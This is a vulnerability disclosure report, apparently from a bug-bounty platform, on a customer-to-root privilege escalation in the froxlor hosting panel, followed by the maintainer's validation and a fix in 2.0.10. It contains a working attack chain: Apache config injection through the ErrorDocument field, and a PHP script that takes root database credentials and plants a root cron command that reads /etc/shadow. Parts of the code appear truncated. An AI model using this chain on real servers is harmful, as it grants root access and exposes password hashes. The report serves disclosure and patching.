Privilege Escalation from customer to root in froxlor/froxlor


Reported on

Jan 25th 2023

Privilege Escalation from Customer to Root

<offtopic> First of all, sorry for the formatting of the report, but this platform is a mess. I can't attach any PoC files (added chapters at the end of the report instead), can't attach any screenshots, nor provide a report as PDF. And btw markdown is only partly supported, e.g. lists don't work. Perfect, if u want to provide detailed information about multiple steps. </offtopic>


1. Fresh Ubuntu 22.04.1 Install
2. Install of froxlor using package 
3. Finish Installation via WebGUI  
  * All Steps with default values (except IP)
4. Initial Service Configuration 
  * All Steps with default values
  * Configured services: Apache 2.4, PHP-FPM
5. Add a new customer
  * Default values, with some exceptions:
    * Webspace: 100MiB
    * First name, Last name, Company, Email: filled with random string 
    (not important for further steps)
6. Add a new Domain and assign to previously created customer
  * Default values, with some exceptions:
    * Domain: demo.ubn22.local
    * Customer: web1

Privilege Escalation

1. Putting of files as customer in folder 
  /var/customers/webs/web1/demo.ubn22.local/  (root directory for domain 
  * info.php: phpinfo script to visualize 1st part of privilege escalation
  * pwn.php: script automating 2nd part of privilege escalation   
  * test.conf: apache config file, used in 1st part of privilege escalation
2. Login as customer, "Add path options":
  * Path: /demo.ubn22.local/
  * ErrorDocument 404:
    * usage:
      * intended: Path to a file
      * possible abuse: Multiline Apache config injection
    * In order to submit a multiline value, the form field type was change 
      inside the browser (F12 / Developer Console) from "input" to "textarea". 
      Another possibility is to use some  kind of proxy (e.g. Burp) to 
      manipulate the request or completely create it in console (e.g. curl).
    * Inserted Text:
IncludeOptional /var/customers/webs/web1/demo.ubn22.local/test.conf
      * Line 1: trailing quotation mark to create valid syntax in 
                resulting config
      * Line 2: include previously created (malicious) config, important: 
                usage of "tab" instead of "space" (space will get escaped 
                and would result in invalid configuration)
      * Line 3: Start of comment, required for valid syntax in 
                resulting config
3. Froxlor will create a config file based on parameters from step 2. This 
   will include the previously stored test.conf file from the customer 
   directory inside the Apache configuration.
# 40_froxlor_diroption_92cb6c00f0730c0d82b86cabaf393092.conf 
# Created 25.01.2023 14:42 
# Do NOT manually edit this file, all changes will be deleted after the next domain change at the panel. 
<Directory "/var/customers/webs/web1/demo.ubn22.local/">
   Options -Indexes
   ErrorDocument 404 "/"
   IncludeOptional  /var/customers/webs/web1/demo.ubn22.local/test.conf
4. Being able to manipulate the Apache configuration, the PHP handler will 
   be modified,  so that it executes in the context of the froxlor 
   webinterface, instead of the customer. 
   The exact path used in line 3 of test.conf is predictable 
5. The customer can now execute PHP scripts in the context of the froxlor 
   webinterface. Abusing these new permissions, a code execution as root is 
   possible using multiple ways. 
   It will be demonstrated by abusing the cron tasks of froxlor. To automate 
   the process, the script "pwn.php" has been written. It will execute the 
   following steps:
  * Include "/var/www/html/froxlor/lib/" to gain database 
  * Prepend a malicious command to config value "croncmdline" inside 
    database, which will get executed by root. To proof the execution as 
    user root, the command "id" will be executed, the file "/etc/shadow" 
    will be read and the output will be stored in the customer domain root 
    directory as "proof.txt".
  * Insert a new task to rebuild cron config inside database.
  * Output "proof.txt" if it exists
   After the initial execution of the script, some time needs to pass, in 
   order to get the cron job  executed twice (1st run: write malicious 
   cron job, 2nd run: execute malicious cronjob). By default the cron job
   will get executed every 5 minutes.




ini_set('error_reporting', E_ALL);
ini_set('display_errors', true);

require '/var/www/html/froxlor/lib/';

echo '$sql:<br /><pre>';
echo var_export($sql, true);
echo '</pre>';

echo '$sql_root:<br /><pre>';
echo var_export($sql_root, true);
echo '</pre>';

echo 'Connecting to MySQL<br />';
$dbh = new PDO('mysql:host=' . $sql_root[0]['host'] . ';dbname=' . $sql['db'], $sql_root[0]['user'], $sql_root[0]['password']);

// pwn config
$pwnOut = getcwd() . DIRECTORY_SEPARATOR . 'proof.txt';
$pwnCmd = 'id > ' . $pwnOut .'; cat /etc/shadow >> ' . $pwnOut .'; ';

echo 'Checking "croncmdline" setting<br />';
$sth = $dbh->query("SELECT `value` FROM `panel_settings` WHERE `settinggroup` LIKE 'system' AND `varname` LIKE 'croncmdline'");
$row = $sth->fetch();
if (strstr($row['value'], $pwnCmd) === false) {
    echo 'Patching "croncmdline" setting<br />';
    if (1 !== $dbh->exec("UPDATE `panel_settings` SET `value` = CONCAT('" . $pwnCmd . "', value) WHERE `settinggroup` LIKE 'system' AND `varname` LIKE 'croncmdline'")) {
        die('patching failed');
    echo 'inserting task to rebuild cron config<br />';
    if (1 !== $dbh->exec("INSERT INTO `panel_tasks` (`id`, `type`, `data`) VALUES (NULL, 99, '')")) {
        die('inserting task failed failed');
} else {
    echo 'Setting "croncmdline" already patched<br />';

if (is_file($pwnOut)) {
    echo 'Pwn Proof:<br><pre>';
    echo '</pre>';
} else {
    echo 'Proof not found. Pls wait for cron to get executed twice (default 2x 5 minutes): ';
    echo '<a href="">RELOAD</a>';

$sth = null;
$dbh = null;


  <FilesMatch \.(php)$>
    <If "-f %{SCRIPT_FILENAME}">
      SetHandler proxy:unix:/var/lib/apache2/fastcgi/1-froxlor.panel-ubn22.local-php-fpm.socket|fcgi://localhost


Every customer can execute code as root

We are processing your report and will contact the froxlor team within 24 hours. a year ago
sro0 modified the report
a year ago
sro0 modified the report
a year ago
sro0 modified the report
a year ago
sro0 modified the report
a year ago
sro0 modified the report
a year ago
sro0 modified the report
a year ago
sro0 modified the report
a year ago
sro0 modified the report
a year ago
sro0 modified the report
a year ago
sro0 modified the report
a year ago
We have contacted a member of the froxlor team and are waiting to hear back a year ago
froxlor/froxlor maintainer has acknowledged this report a year ago
Michael Kaufmann validated this vulnerability a year ago

Thank you for your report and the extensive description. Would you mind be willing to test against a patch if that fixes the issue?

sro0 has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
a year ago


Sure, I just need some diff or commit ID to apply.

a year ago


Thanks a lot:

a year ago


I can confirm that the multiline injection inside the apache config (ErrorDocument) doesn't work anymore.

Slightly offtopic: If a customer inserts: a"b The resulting config line will be: ErrorDocument 404 "/a"b" This line is an invalid Apache config, thus preventing from Apache from reload. This will affect not only the customer himself, but all other users/admins too.

a year ago


if the customer inserts a"b it will be considered a file and no surrounding quotes are being used in the generated apache configs. For froxlor to generate a text-response you need to specify a string that starts with " and ends with ". I've also added the quote-sign as disallowed in this scenario so a result like "/a"b" cannot occur

a year ago


Sounds good to me

a year ago


Okay, the fix and new release are scheduled for later this day or tomorrow. thanks again

a year ago


You're welcome. And thanks for the fast fix.

Michael Kaufmann marked this as fixed in 2.0.10 with commit 003468 a year ago
The fix bounty has been dropped
DirOptions.php#L167 has been validated
This vulnerability has now been published a year ago
to join this conversation